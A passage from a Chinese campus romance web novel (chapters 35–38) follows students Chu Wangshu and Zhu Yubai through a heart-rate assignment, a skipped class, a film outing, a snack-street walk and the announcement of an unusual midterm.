“大一参加比赛时指导老师给我们找的活动室,后来比赛结束,老师说可以当自习室,现在一般只有我会来。”祝屿白详细地解释道。
“算是你的秘密基地咯。”楚忘殊总结道。
打量完这个房间,她想起正事,“好了,现在能说了吗?你的方法是什么?”
祝屿白垂下眼,盯着地板,额头前的碎发遮着他眼里的情绪。
片刻后,他抬起头,像楚忘殊靠近。
“楚忘殊,你知道接吻是什么感觉吗?”
他嗓音低沉,像老式磁带机,缓缓
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播放着让人想要沉醉的声音。
说话的同时,他低头,缓缓拉近和楚忘殊的距离。他眼睛很亮,瞳孔里全是她的身影。
屋子里没开灯,只有窗户里映射着的一点稀薄的夕阳。
两人距离越来越近。
楚忘殊甚至能感受到他呼吸喷洒在她脸上的温热,耳朵里满是他那句“接吻是什么感觉”。
许是屋子太逼仄,又或许是今天的阳光带着灼人的温度。
楚忘殊感受到脸越来越烫。
恍惚间,楚忘殊觉得这间屋子里一定有人喝了酒,不然现在的空气为什么让人有了醉意,让她的脑袋开始罢工,无法思考。
祝屿白的脸越来越近。
两人缝隙里透过的光线越来越细。
楚忘殊下意识闭上眼睛。
温热的气息洒在脸上,房间里只余剧烈的心跳声,似乎下一秒就要从胸腔中跳出来。
分不清是谁的。
楚忘殊攥紧手,眼睛紧闭。
呆呆地等待着下一步的动作。
垂下的手腕忽然被拉起,楚忘殊睁开眼睛。
祝屿白已经退后了几步,举着她的手环,显示着上面的心率:142次/分。
“好了,心率达标了。”
“……噢,好。”楚忘殊结巴了下。
她反应过来,刚才就是祝屿白说的方法。
想起刚才自己不知道在期待着什么乱七八糟的东西,她有些心虚。
“你这方法还真有效啊,不愧是学霸,脑子就是转得快啊。”楚忘殊略有些不自然地说。
“作业也完成了,我想起来我待会还有点事,先走了。”她猛地转身,慌不择路地跑向门口,中途还撞到了一张桌子,发出刺耳的摩擦声。
她不喜欢这个声音,皱眉听着,但来不及考虑那么多,直接冲出门,跑向电梯,离开计院这栋楼。
屋子里的祝屿白,看着她落荒而逃的身影,嘴角不自觉勾起。
好像,他赌对了。
他坐在沙发上,目光看向窗外将暗未暗的天色。
窗外两只飞鸟在天空嬉戏盘旋,纠缠了一阵才双双离开。
楚忘殊,你对我,是否有了一点点感觉?
他盯着窗外,低声问。
四周安静如初,没有任何回答。
但他好像,已经有了答案。
另一边,下了电梯的楚忘殊抬手看了眼手环。
心率居然还是很高!
她大喘着气,好似刚经历一场马拉松。
脑袋从来没这么乱过,乱得她差点连回宿舍的路都走错。
回了宿舍,她一头扎进床,用被子埋住头,试图这样让自己冷静下来。
可心跳声还在持续。
她烦躁得不行,搞不清楚自己现在是怎么了。
她甚至想了个以毒攻毒的计划——去跑步,跑得精疲力尽就没心思想其他的。
说干就干,她从床上弹起来,穿了双运动鞋就出了门。
跑道人稀稀拉拉已经有了人在跑,她做了点热身活动,就加入进去。
跑了四圈后,她额角开始渗出汗,心怦怦跳。
她忽然想到,完成心率作业,还可以选跑步,早知道就不问祝屿白了。
片刻后,楚忘殊一愣。
完蛋,怎么又想起他?
35. 搭子日记三十五
当晚,楚忘殊第一次失眠。
凌晨两点,她毫无睡意,眼睛睁大,盯着黑漆漆虚空。
她脑袋昏昏沉沉的,杂七杂八地不知道在想什么。
时而是祝屿白频繁飙高的心率,时而是他突然凑近自己的耳语。
她在床上翻来覆去,还得注意动静不能弄大,怕吵醒舍友们。
窗外月色正浓,月光透过窗帘进来,朦胧静谧。
直到天空泛起鱼肚白,她才睡着。
“月亮月亮,起床了!”
模糊间,楚忘殊听到一声声叫喊,她困得不行,烦躁地皱起眉头。
“快点,要迟到了!”
聒噪的声音还在继续,楚忘殊终于反应过来,她不是在做梦。
她强撑着睁开眼,起身伸出一只手,示意自己听到了。
“几点了?”她哑着声音慢慢问。
“五……十了!”宋词似乎还在刷牙,漱了口气,泡沫还没吐干净,先回答她。
以往楚忘殊虽说不是起床最早的人,但也绝对会在闹钟响后就起床,从来没出现过今天这情况。
“月亮,你是不是生病了?”韩霜已经洗漱好,拿着书包等剩余两人。
她们第一节课一样,都是结伴走的。
“要不要我们给你请假?”程以凌探头,关切地看向床上的楚忘殊。
楚忘殊正天人交战,其实她的发烧已经好了。
但这会儿起床也赶不上早八了,不如……
正好,她还没想好怎么面对祝屿白。
经过昨天的事情,她总觉得奇奇怪怪的……
“好,谢谢三位雷锋的救命之恩。”楚忘殊顺势躺回去,安心地睡个回笼觉。
教学楼四楼教室。
上课铃响起,祝屿白看着自己旁边空无一人的椅子若有所思。
他频繁地看向后门,可直到尹老师夹着保温杯走进来,后门也没有出现他想的身影。
距离上课已经过去十多分钟,他还在看着空出来的座位,一点没意识到讲台上的老师讲得慷慨激昂。
难道,昨天吓到她了吗?
意识到这个可能,祝屿白低垂着头,抿唇,神色不明。
一节课下来,他第一次全程走神。
还好这节课老师没讲什么重点,甚至作业也像没布置一样,只推荐了一部电影,让感兴趣的人看一下,不感兴趣也可以不看。
走出教室,祝屿白站在阳台处,看着密密麻麻的人流,忽然不知道自己该怎么办。
她只是缺了一节课,他却乱了一颗心。
攀爬着墙身生长的爬山虎,已经开始有了枯黄的痕迹。
祝屿白伸出手,摘下一片叶子,留在手里把玩。
枯叶碰到栏杆上,发出清脆的碎裂声,祝屿白这才惊觉他把叶子甩到了栏杆上。
破碎声给了他灵感,他手肘撑在栏杆上,拿起手机给宋然发消息。
【ZYB:你那个社团要安排值班吗?】
宋然回得很快:【纯添加无天然:yes。】
【ZYB:上次你刚招进去的人值班是什么时候?】
【纯添加无天然:你说宋词?】
祝屿白想了想,好像是叫这个名字。
【ZYB:嗯。】
宋然叼着苹果,打开电脑查看。
确认完毕后,他给祝屿白回复:【你问得刚刚好,今天就到她值班,这会儿应该已经在活动室里。】
爱心社的活动室在702四楼,那一层楼几乎都是学生社团的活动场所。
在四楼电梯右拐角处,还有个舞池,平时会有人为活动排练,没人时也可以作为学生放松的地方。
往舞池再走进一些,就是爱心社的大本营。
说是值班,其实也就坐在屋子里,如果碰到有人来访,做个登记就行,防止错过一些外来赞助以及承办一些活动。
宋然三下五除二地将苹果吃完,擦干净手指上不小心沾上的汁水,才问祝屿白:【你问她干嘛?】
得到答案,祝屿白走出阳台,下楼梯,简短地给了宋然一个回复:【ZYB:有事。】
【纯添加无天然:……】
这算什么答案啊?宋然的无语几乎要透出屏幕。
祝屿白没看手机,自然没感受到他的无语。
702栋楼离教学楼有些远,按照正常走路的速度一般要十分钟才能到。
而祝屿白三步并作两步,可能拥有天然的腿长优势,硬生生把时间缩短了一半。
楼内布置有些乱,加上社团很多东西都摆在外面,更显得乱糟糟,让人晕头转向的。
还好祝屿白来过这一次,帮宋然值班,没花费多少时间边找到了爱心社所在的地方。
“你好,有什么事吗?”
门开,宋词缓缓抬头,公事公办地开口。
看清来人是祝屿白,她一愣,“祝屿白?”
祝屿白点头,“是我。”
宋词下意识想,她能不知道是他吗?
就他那张脸,应该只有几周前的楚王不认识了。
“你来这有什么事吗?”宋词从椅子上站起来,问道。
来这一般都是赞助的,难道祝屿白也是?
她想起传闻里祝屿白和上一届的学长合开了一家公司。
难道是已经赚钱了,还没毕业就想着回报母校?
她心里的敬佩油然而生,嘴角咧开一个笑。
“不是,我是来找你的。”下一秒,祝屿白开口粉碎她的想象。
宋词明显呆滞一瞬,还没消化这句话是什么意识,下意识追问:“啊?找我?”
祝屿白点头。
宋词眉心几乎能夹死一个苍蝇了,他找她能有什么事啊?
“请问你知道楚忘殊今天怎么没来上课吗?”他声音比起刚才低了些,字斟句酌道。
捕捉到他话里的关键信息,宋词眉心舒展开。
原来是因为楚忘殊啊,那这就很合理了。
“她生病了,所以今天早上我们帮她向辅导员请了假。”
宋词说完,她看到祝屿白的神色添了丝担忧。
她本想继续解释一下,说那只是疑似,更大的原因是楚忘殊起晚了。
但看到祝屿白脸上的担心,她忽然改变了主意。
有时候爱情的火苗非常需要外人添一把火——这是她多年嗑cp得出的经验。
而现在,她很愿意成为这个人。
祝屿白向她道了谢,随后将门带上,离开。
“啧啧啧,爱情啊,果然还是别人的好磕。”看着祝
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屿白转身的背影,她脑海里自动出现楚忘殊的背影,发出感慨。
这两人真配,从头配到脚的那种般配。
电梯里的祝屿白,打开置顶,打字:【ZYB:你生病了吗?严重不严重?】
对话框安安静静,过了十多分钟都没有回复。
他站在一棵树荫下,阳光斜射着透过绿叶,他眯着眼,又等了五分钟。
过后,他没再等。
宿舍楼的楚忘殊,从早上一直睡到中午。
她醒来,宿舍们都还没回来,宿舍里安安静静的。
不知道早上谁拉开了窗帘,太阳照进来,楚忘殊还在床上就觉得暖洋洋的。
不上早八的感觉就是好,这样睡到自然醒,人都精神了很多。
她睁眼在床上躺了几分钟,终于开始起床。
下床,她打开手机,发现有好几条消息弹出来。
大多数都是宋词发来的,没什么内容,全是些表情包。
不过这些表情包都有一个特点:得瑟。
像是干了一件什么巨伟大的事,来向她邀功以及炫耀。
还有一条——是祝屿白发来的。
看到的一刹那,她一顿,过了几秒才回:“没有,我就是起晚了,没赶上了,就请了假没去上课。”
消息刚刚发出去,界面上就显示“对方正在输入中”。
下一秒,祝屿白的消息弹出:【ZYB:没生病就行。】
【ZYB:方便下楼一趟吗?给你转达今天课上的作业。】
楚忘殊摸了一把头顶乱糟糟的头发,硬着头皮回道:【CWS:稍等,我马上下来。】
发完,她连忙冲进洗漱间,以她平生最快的速度开始洗漱。
怕祝屿白等太久,她几乎是全程跑下去的。
“作业是什么?”她跑到祝屿白身边,气息有点不稳,先开口问。
一阵凉风吹过,脚背泛起凉意。
她低头一看,才发现自己还穿着拖鞋,脚趾露出来。
她有些囧,还好祝屿白没发现。
他将手上的打包好的午饭先放在她手上,“作业是看一部电影。”
“就没了?”楚忘殊有些傻眼,不敢相信作业就这么简单。
路上她还担心是作业很复杂,一句两句说不清楚,所以祝屿白才不想在微信上说。
心里这么想,她也就这么问了,“怎么不在微信上说。”
祝屿白:“……忘了。”
他扯了个蹩脚的理由。
“噢,那我们什么时候去?”
楚忘殊自然而然理解成老师要求两个人一起看。
“咳咳,周三怎么样?”祝屿白垂下眼,没再像之前一样看她。
“行。”她没发现他的异常,一口答应下来。
周三她只有上午两节课,有很多时间可以用来完成作业。
“那我先走了,后天见。”她开口想先溜。
祝屿白点点头。
离开的前一瞬,楚忘殊忽然意识到,这次祝屿白的左手一直背在身后,不知道在藏什么东西。
她转身,想一探究竟。
结果和祝屿白的视线对个正着——他还没走,一直看着她离开。
楚忘殊大囧,不敢再好奇,低头快步上了楼。
36. 搭子日记三十六
回到宿舍,她坐在座位上,好一会儿才反应过来手上还拎着饭——祝屿白不知道从哪听到的她生病,担心她没吃饭吗?
她解开包装袋,饭菜还冒着热气。
好巧,菜品都是她喜欢吃的。
正好她饿了。
她拿出手机,给祝屿白转了饭钱,随后开始吃饭。
手机屏幕亮了一下,是祝屿白退还的消息,很附带着一句“一顿饭而已。”
楚忘殊不再坚持,发了个“谢谢”的表情包。
反正周三还要一起出去看电影,到时候给他带点东西还回去就行。
宿舍楼道外嘈杂声多了起来,大部分人吃完饭回了宿舍。
宋词标志性的声音传来,楚忘殊知道三人回来了。
果不其然,下一秒,宋词推门而入。
“月亮,给你带的……饭。”
她声音越来越小,看到楚忘殊已经在吃饭,整个人傻眼了。
“你出去买饭了?”她揉揉眼睛,不敢相信。
她们宿舍一向奉行的原则都是,如果有人早上没出门,其他人就会默认给她带饭,省得麻烦还要出去一趟。
楚忘殊:“额……”
都怪她看到祝屿白的消息,着急忙慌地出去,拿到饭后忘了给她们发消息。
她僵硬地接话,“别人给我带了。”
意识到宋词越来越黑的脸色,她赶忙找补:“不过我还能吃,你这份也给我吧。”说着她伸手去拿宋词手里的饭。
“等等,”宋词神色一变,试探性地问:“这饭,是祝屿白帮你带的。”
“昂对。”楚忘殊点头,努力挑动气氛,开玩笑道:“你什么时候成神算子了?”
宋词老神在在地勾着袋子,坐在自己的椅子上,神秘兮兮的。
程以凌和韩霜对视一眼,搞不懂她在打什么哑谜。
最后是韩霜看不下去,“交代一下?”
程以凌煞有介事地补了句:“坦白从宽,发财升官;抗拒从严,牢底坐穿。”
“今天祝屿白去我值班的地方找我。”宋词神色在三人身上环视一圈,最后落在楚忘殊的身上。
楚忘殊有点好奇,祝屿白找她什么事,眼神落在她身上,一点没意识到其余三人的视线全都黏在她的方向。
好半天,她终于意识到,“看我干嘛?”
韩霜和程以凌咳了声,视线移开。
“你们猜猜他找我干嘛?”铺垫半天,宋词还在吊胃口。
三人:“……”
“请问你知道楚忘殊今天怎么没来上课吗?”宋词清清嗓子,蹩脚地学着祝屿白的语气,复述他的话。
话音刚落,韩霜和程以凌视线又齐刷刷落回楚忘殊的位置。
她撑着头,似乎在思考,片刻后问宋词:“你说我生病了?”
宋词:“你怎么知道?”
破案了,她就说祝屿白是从哪听到的谣言,突然来问她是不是生病了。
原来罪魁祸首是宋词啊。
她没了兴趣,转身开始吃饭。
剩下三人面面相觑,最后还是程以凌,拉过椅子坐在楚忘殊身边,“月亮,你就没什么想法吗?”
“啊?什么想法?”楚忘殊咽下嘴里的饭,一脸懵地抬头。
她要有什么想法?点评一下饭菜很好吃吗?
“就比如祝屿白为什么要去找宋词问你的情况,你不好奇吗?”程以凌旁敲侧击。
“噢,我知道啊。”楚忘殊恍然大悟。
她们期待地看着她。
“这堂课的作业要出学校,他是怕我生病了,不好完成。”
三人:“……”
累了,毁灭吧。
她们仨蔫巴巴地回到自己的座位上,想不通怎么会有人的脑回路是这样的。
楚忘殊看着三人生无可恋的样子,有些莫名其妙。
她说的不对吗?
可是这就是事实啊!
另一边的祝屿白,回到宿舍,里面只有宋然一个人,其他人都还没回来。
宋然正抱着一个苹果啃,电脑上是游戏结算的画面。
看到祝屿白,他抬头看了他一眼,想起早上他问自己宋词值班情况,有些好奇,于是开口问:“你找宋词什么事啊?”
按照祝屿白的性格,从没见他打听过不相干的人的事。
没等祝屿白回答,他眼尖地看到祝屿白身后拎着的白色袋子。
“那是什么?”
祝屿白将袋子放在桌子上,宋然凑近一看,发现全都是药。
“你生病了?”他扒拉着盒子,看上面写着的药名。
五花八门的,什么类型的药都有,看不出来人到底是怎么了。
目光落在祝屿白脸上。
嗯,还是和以前一样帅,完全看不出生病的迹象。
“没有。”祝屿白吐出两个字。
宋然不解:“那你买这么多药干嘛?”
“买错了。”
“……”
这是什么很难分辨的东西吗?还买错?
见祝屿白不想回答,宋然很有眼力见地没再追问。
反正,他大概也能猜到。
能让这家伙做出如此反常行为的人,只有那一个人了吧。
啧啧啧,肯定是那人生病了,祝屿白这家伙献殷勤,买药给人家,结果被对方狠狠拒绝。
他瞬间脑补出一大出狗血剧情,同情地看了祝屿白一眼。
哎,英雄难过美人关,连祝屿白这种人也不能幸免。
但看他吃瘪,这种感觉还不赖。
宋然忍不住笑开,脸上的幸灾乐祸藏也藏不住。
周三,楚忘殊上完上午的课,先给祝屿白发了个消息。
【CWS:我下课了,接下来随时都有时间,你准备好叫我一声就行。】
祝屿白可能还有课,没立刻回。
她也不急,慢悠悠地走回宿舍。
刚坐下,祝屿白的消息弹出来,说他下午也没课,可以的话中午下午一点出发。
楚忘殊没问题,在宿舍玩了会,忽然想起他昨天帮他带的饭。
她撑着下巴,另一只手转着自动铅笔,思考该还他点什么。
思来想去,似乎送什么都不合适。
算了,还是待会买份爆米花吧。
宿舍窗外的杨柳垂下枝条,在风中飘摇,几只麻雀落在上面。
楼层中逐渐响起叽叽喳喳的人声,或突然传来声声大笑,惊得麻雀扑棱着翅膀飞走。
午休时间将近,宿舍楼又趋于安静。
楚忘殊在这时出发。
她蹑手蹑脚地下床
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,放缓动静,轻轻带上门。
直到听到锁门声,彻底隔绝宿舍才松一口气。
和祝屿白约在老地方——东门见面,她戴好遮阳帽,快步赶往地方。
这会儿东门没什么人,稀稀拉拉走着几个。
楚忘殊一眼就看到了早早等着的祝屿白。
“走吧。”她拍拍祝屿白的肩。
两人坐上车,到了最近的电影院。
祝屿白取票,楚忘殊负责去买吃的,两人分工明确。
商量好,楚忘殊刚要去爆米花售货机旁,祝屿白忽然叫住她。
“楚忘殊,我好像搞错了一件事。”
“什么?”她疑惑地看向他。
“看电影的事。”他嗓音很低,眉眼垂着,让人看不清他的神色。
只是从声音来看,他似乎很内疚。
“哪里搞错了?是老师指定了电影吗?”她试探性地问。
说话的同时,她已经开始思考,如果指定了具体电影,这里没有排片的话,离着最近的电影院要多久。
“不是。”祝屿白摇摇头,在她迫切的目光下,开口:“老师说可以选看,不做要求,也没要求必须两个人一起。”
楚忘殊瞬间松了一口气,她还以为是什么事情。
“没事,反正现在都到这了,看完呗。”
“说不定我们超额完成老师还会给我们加分呢!”她畅想着美好未来。
祝屿白看她一心扑在分数上,无奈地笑了笑,“嗯,希望如你所愿。”
电影院灯光暗下来,楚忘殊聚精会神地盯着荧幕,手里不忘抓起爆米花。
为了感谢祝屿白带的饭,她特意选了最大份。
结果祝屿白似乎不太爱吃,倒是她自己的,刚开始没多久就少了大半。
电影开始,楚忘殊渐渐沉迷其中,没注意到身旁投来的视线。
祝屿白微微侧身,余光刚好能看到楚忘殊。
随着电影场景变换,她的脸忽明忽暗,嘴里一直不停吃着东西,偶尔腮帮子鼓鼓的。
祝屿白嘴角不自觉勾起。
这一刻,他忽然理解为什么有些人会希望时间慢一些。
猝不及防间,楚忘殊忽然偏过头。
两人视线撞上。
祝屿白先移开目光,抓了颗爆米花压压惊。
甜腻腻的滋味在味蕾上绽开,他不太习惯。
不过他又接着抓了颗丢进嘴里,心里还想着她喜欢这些东西吗?
旁边那道灼热的视线还没移开。
祝屿白坚持不住,拿起手机打字:怎么了?
随后将手机举在楚忘殊面前。
楚忘殊指了指自己空荡荡的爆米花桶,眼睛瞄向他手机满满当当的爆米花。
意思不言而喻。
祝屿白:“……”
他默默将自己手里的推过去。
两人吃着同一桶,爆米花,偶尔两只手还会碰到一起。
两只手都默契地收回去。
楚忘殊是觉得爆米花属于祝屿白,应该由他先拿。
而祝屿白,只是害怕手指灼热的温度被旁边的人察觉。
电影结束,楚忘殊忽然变得有些沉默。
祝屿白跟在她身后,她忽然问:“如果你能穿越时空,你最想重温哪个瞬间?”
37. 搭子日记三十七
下一场电影是近期很热门的一部,看的人很多。
两人刚出来,外面的人已经迫不及待地开始挤进去。
费了很大劲挤出来,楚忘殊忽然觉得自己刚才的问题号矫情。
当时电影的情绪带动她,她下意识问出了这句话。
此时此刻静下心来细想,她忽然觉得这本就是个没有意义的事情。
穿越时光什么的,根本虚无飘渺。
但她内心又有一点期盼,想知道祝屿白会怎么回答。
两人下了台阶,电影院大门外正对着一块大屏,上面播放着时下一个当红偶像的广告。
周围没多少遮挡物,刮起了风,挂在外面的红旗猎猎作响。
祝屿白的话响起:“过去的已经过去了,再多的遗憾也无法弥补。我没有想重温的时刻,我指向珍惜当下。”
听完,楚忘殊惊喜地看向他,发现他的想法和自己差不多。
天色欲晚,路边的街灯亮了起来。
这里不好打车,两人打算过红绿灯,去对面那条街再打车回学校。
楚忘殊忽然闻到一股香味。
她四处看了看,寻找来源,在一个拐角处发现一条小吃街。
本来不饿的,她本打算回学校随便对付一顿就行,但此刻弥漫在空气里的香味,将她的馋虫勾出来,她又觉得饿了。
“祝屿白,商量个事?”
“怎么?”
楚忘殊歪歪头,指着不远处的小吃街,眼睛亮晶晶,满含期待。
祝屿白顺着她手指的视线看过去,随后放下正在打车的手机,“走吧。”
小吃街很热闹,叫卖声此起彼伏,夹杂着路人南腔北调的交谈,各色各样的店铺热气腾腾,烟火气十足。
没走几步,楚忘殊眼神牢牢黏在对面的糖炒栗子铺上。
铺子外观颇具年代感,在这条小吃街上十分显眼,加上前面排队客人频频投去的目光,很难不让人好奇这到底有多好吃。
一旁的祝屿白捕捉到她的视线,看出里面流出的对美食的渴望,低语一句“在这等我”,加入到长龙般的队伍中。
熙熙攘攘的吆喝声还在继续,但楚忘殊这一刻,脑海里似乎自动将其他声音模糊处理,唯有祝屿白的这句异常清晰。
他的嗓音清冽淳厚,这会儿带着一些低沉,磁性又好听,很容易让人联想到山间深处汩汩流出的水滴声。
楚忘殊抬眼,目光落到不远处正在排队的人身上。
今天他穿了一身黑衣,是街上最常见的颜色。
置身人流中,很容易被忽视,但她还是一眼看到了他。
或许是他个头高的功劳,加上他站得笔直,这会儿站在人群中更加凸显。
那一身出众气质,愣是让人产生了身处某处高级餐厅的错觉。
周围人向他投去若有若无的打量,他似乎没注意到,正专心于热气腾腾的糖炒栗子。
她就这样看着他,不知不觉就看呆了。
等她回神时,祝屿白已经勾着装满糖炒栗子的袋子过来了。
还没完全打开盖子,香味就已扑鼻而来。
虽说在影院吃了两大桶爆米花,但这会儿面对这么香的东西,她目光毫不掩饰地盯着他手里的袋子。
祝屿白看向没给自己任何眼神、视线完全黏在自己手上的人,好气又好笑。
转念想到她可能真饿了,便没有多余的动作,将手里的小笼包递给她,“尝尝。”
楚忘殊早被这香味迷得七荤八素,也没客气,径直接过,说了句谢谢便打开盒子,拿起一个便送往嘴里。
糖炒栗子的壳很好剥,几乎不用费什么劲儿。
一口咬下去,唇齿留香。
她满足地眯了眯眼睛,眼睛弯成月牙状。
又往嘴里送了一个,她想起是身边的人买的,但还一个没捞着,手里的小笼包忽然开始烫手。
自己这一看见美食就宕机的脑袋,什么时候能聪明点……
她尴尬地轻咳一声,硬着头皮将一颗糖炒栗子递过去,撞了撞他的胳膊,“要不要来一个?”
祝屿白偏头看过去,就见她眼睛亮晶晶的,举起手里的食物,略微仰着头。
像是小孩一脸期待地和好朋友分享自己珍藏的好东西。
“算了,不想脏手。”祝屿白看了眼,拒绝道。
“我帮你剥。”
刚炒好的栗子壳上确实有一层黏腻感,谈不上脏手,但摸到还是不太舒服。
楚忘殊以为他有洁癖,想也没想直接说。
祝屿白:“……”
他只是担心她不够吃,没想到她还真信了。
“行。”祝屿白开口,等着她投喂。
楚忘殊麻溜地剥好,然后犯了难:递在他手里?还是直接喂他?
一番思考之下,她直接递到他嘴边.
他说不想脏手,应该是一点都不想碰到吧。
帮人帮到底,送佛送到西,多做点总没错。
祝屿白刚要伸手接,下一秒她的手已经拿着板栗递到嘴边了。
他伸出的手就这样缩了回去。
微微弯腰,他慢慢凑近那颗板栗。
他的唇不经意擦过她的手指,咬下板栗。
“果然挺甜的。”祝屿白边吃边评价。
楚忘殊手指蜷缩了下,听到他的话,有些心不在焉,随意附和了声。
刚才的触感在她脑海里挥之不去。
完蛋,她脑海里此刻只有一个想法:他的嘴唇好软。
“前面应该还有很多小吃,记得不要吃太饱,留点空间。”祝屿白嘴角勾了勾,十分好心情地调侃她。
见他好像没什么异样,楚忘殊也缓了过来,开口道:“还很多?”
祝屿白确实没骗她,这一条都是美食街,没到一步一美食的夸张程度,但也算五步一美食。
两人还没走完整条街的四分之一,楚忘殊就已经吃撑了,祝屿白几乎没吃什么,只是偶尔在她发出惊呼、强烈给他安利的时候吃了一些。
楚忘殊挑了个人相对较少的地儿,攥住祝屿白上衣一角,将人拉过去。
“我吃不下了,就到这吧。”她寻了个凳子,边坐边说,手上还拎着零零散散的包装袋。
一路上,她什么都想尝尝,最后两双手几乎都快拿不下了。
祝屿白站在一旁,“确定?”
“确定,以及肯定。”楚忘殊双手合十,眼神真挚地看着她,不断点头。
祝屿白看着她那副样子好笑,点点头,顺着她的意道:“行,走吧,回去了。”
说完率先走在前面,楚忘殊很有眼力见地跟在他身后。
身边人来人往,她就这样走在他身后,心里泛起一点陌生的涟漪。
说不清那是一股什么样的感受,就像她没注意自己的嘴角从来这里到现在,扬起的弧度就没下来过。
或许是因为吃到了各种各样的美食,也或许……
她抬起头,目光自然而然地落在前面走着的人身上。
没多久,两人坐上车。
车窗摇起的那一刻,街道上的喧嚣声完全被隔绝在车外。
像是给整个世界都按下了暂停键。
楚忘殊吃得有点多,加上中午没午睡,这会儿睡意上来,一上车就睡着了。
醒来时刚好到了学校。
刚才买的东西都分类整理好,整齐地放在一边。
两人沿左边人较少的路走。
江大里种了很多杜仲树,走在路上,上方几乎都被树叶遮挡。
这条路人少,
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一路上安安静静的。
楚忘殊垂头看了一眼手上的袋子,闲聊道:“看不出来你还挺细心的。”
祝屿白随口反问:“很惊讶?”
楚忘殊一噎,按常理来说这人不是应该顺着她的话接受夸奖就行了吗?
反正这条路快走完了,刚好结束话题。
怎么还反问她啊?
这人好没聊天天赋,还没有眼力见。
为了不让气氛沉默掉在地上,她只得回道:“嗯,挺惊讶的,主要是觉得你这样的人……”
“我这样的人……”他重复她的话,目光看向正前方,状似随意地问她:“我是什么样的人?”
“额……”她卡了壳。
这样直接地问,她好像还真不知道怎么回答。
楚忘殊怎么也没想到,自己只是想闲聊下,让气氛不再那么尴尬,话题怎么就拐着弯到了“他是什么样的人”这种哲学问题上了?
她托着下巴,很认真地思考。
得好好想想,让自己别太敷衍。
祝屿白本来只是想逗逗她,见她那么认真地思索,便也不急,很有耐心地等着她。
他也想知道他在她的心里,到底是个什么样的人。
眼角余光瞥向身边这人,见她轻咬着下唇角。
他微微侧身,便于身旁这人人完整的身影能出现在视线中,又不至于让她察觉到自己的目光,接着便饶有兴致地观察着她的一举一动,即使她其实一直保持着同一动作。
其实就算他光明正大地看向楚忘殊,这会儿她也发现不了,因为她正沉浸在自己的世界里。
祝屿白是个什么样的人?
真是个棘手的问题。
她忽然转头,眸子里似乎有亮光,看向他,“祝屿白——”
祝屿白目光差点和她撞上,呼吸有些急促,连忙将视线移到路上,借此来掩饰自己那一刻的慌张。
“嗯?”他用一副刚注意到她叫他的语气应了一声。
他们走的这条路隔着一条河就是校外,这时刚好驶过一辆红色法拉利,车主人似乎是个富二代,开车也要将刺激贯彻到底,用力地轰着油门,开始炸街模式。
在“轰隆隆”的轰鸣声中,祝屿白听见身边人说——
“你是个好人。”
祝屿白:……
所以,他这是被发好人卡了?
他的心情,仿佛从万米高空一下子跌进马里亚纳海沟。
果然,对这么个感情呆子,就不该抱有任何期待。
好气的同时,又十分好笑。
他算是体会了什么叫作哭笑不得。
她还在继续:“一开始我觉得你很难接近,在别人的描述下,总觉得你身上好像自带结界,将自己和周围人隔绝开。”
她兀自笑了一下,又开口道:“但后来我发现,你会注重很多微小的细节,也会不厌其烦地等人等人很久。”
“所以,我觉得你是一个好人。”
或许他会觉得她的说法很概括,也或许会觉得太过敷衍,但这就是她思考这么久的结果。
她在思考的时候,脑海里闪过很多词,那些词安在他身上,似乎都不为过,但她觉得“好人”才是最贴合他的。
她的声音温和又平静,但却很有力量,用她独有的语调叙述着对他的看法。
祝屿白原先觉得,她可能是在开玩笑。
但听完她的叙述,他才发现,她似乎,真的觉得他是个好人。
他侧头看一眼眼睛依然有着光亮的女孩,似乎,这也是个不错的评价。
很多人评价过他,但从来没人说过“他是个好人”。
他不在意别人口中的自己什么样。
但此刻,他觉得楚忘殊嘴里吐出的“好人”两个字格外悦耳。
38. 搭子日记三十八
接下来的几天,楚忘殊没再见过祝屿白,她大多数时间都闷在图书馆复习。
期中周到了,她有好几门专业课要考试,完全没时间想其他的东西。
唯一值得安慰的是老师们大多划了考试范围,临时抱佛脚起来没那么费劲。
又是新的一周。
楚忘殊顶着个大大的熊猫眼,打着呵欠有气无力地坐下。
“熬夜了?”
一旁的祝屿白问。
楚忘殊趴在桌上,闻言懒洋洋地应了声:“对,考试前唯一的挣扎。”
“算了,说了你也不懂,像你这种人是不会理解的。”头发遮住她的眼睛,她懒得去整理,想到祝屿白根本就不用担心什么考试,补了句。
上课铃声响起,尹老师走进教室。
这节课和以往不太一样,他没带保温杯,反而抱着一沓A4纸。
或许最近考试太多,大多数学生和楚忘殊一样,困得眼睛都睁不开,强撑这眯眼睛,试图让自己保持清醒。
见台下昏沉一片,尹老师拍拍手,拉回众人的注意力。
“都醒醒啊,我们先换个座位,像上次一样,随便坐,只要和自己的搭档分开就行。”
这句话堪称惊雷一样,瞬间将教室炸开锅,众人七嘴八舌地猜测这次又要干嘛。
毕竟上一次换座位的场景,还历历在目。
难道又要换一次搭档了?
楚忘殊没太多担心,经过上一次,她相信祝屿白应该不会换掉自己了。
随便拿了支笔和手机,楚忘殊刚想起身,被祝屿白一把拉住,“你坐着,我走。”
上次是她,这次到他。
很公平。
楚忘殊心安理得地接受。
祝屿白坐在靠窗的位置,要她挪开空隙才能出去。
她站起身,靠边站,等他出去后才坐下。
教室里乱哄哄的,拉椅子的滋滋声此起彼伏,再加上大家的吐槽声,在安静的教学楼中,这间教室堪比菜市场。
楚忘殊伏在桌上,靠着闭眼休息。
昨晚复习着复习着,“碰巧”看到一本小说,直接上头看到凌晨四点。
平时死活找不到,偏偏到复习的时候这些小说就不知道从哪个角落冒出来……
教室逐渐安静下来,楚忘殊也坐直身体。
抬眼看向讲台,视线却第一时间紧挨着讲桌的第一排座位上的祝屿白。
好勇,这就是学霸的自信吗?
“今天我们进行期中考试。”尹老师再放出一个深海炸弹。
底下众人惊呆了,完全被这一突如其来的消息整蒙了。
其他课好歹老师还会划重点,这门课连书本都没有,怎么考试啊?
看着众人惊慌失措的样子,尹老师无奈又好笑,果然还是群小孩。
他拉开黑板,用粉笔在上面写下“期中考试”四个大字。
“不用担心,考试内容很简单,填一张问卷就行。”他笑了笑,“而且是你们填过的问卷。”
“老师,是上次问卷星那个问卷吗?”有学生举手提问。
“我们再填一份纸质的就行了?”
“总觉得没这么简单。”
……
学生们在你一言我一语地猜。
楚忘殊想起来,之前尹老师在课程群里发了个问卷。
里面的问题都很简单,大概就是一些有关于个人喜好之类的问题。
当时她看到时,没注意,还差点忘了,最后还是韩霜帮她填的。
她这会儿清醒了许多,竖起耳朵听尹老师接下来的话。
直觉告诉她,绝不仅仅是填一份纸质的就行。
“学校要求期中考试必须要有纸质试卷,这是要在学校至少保留五年的。”尹老师想众人解释,“当然,除了这个原因,还有一点变化。”
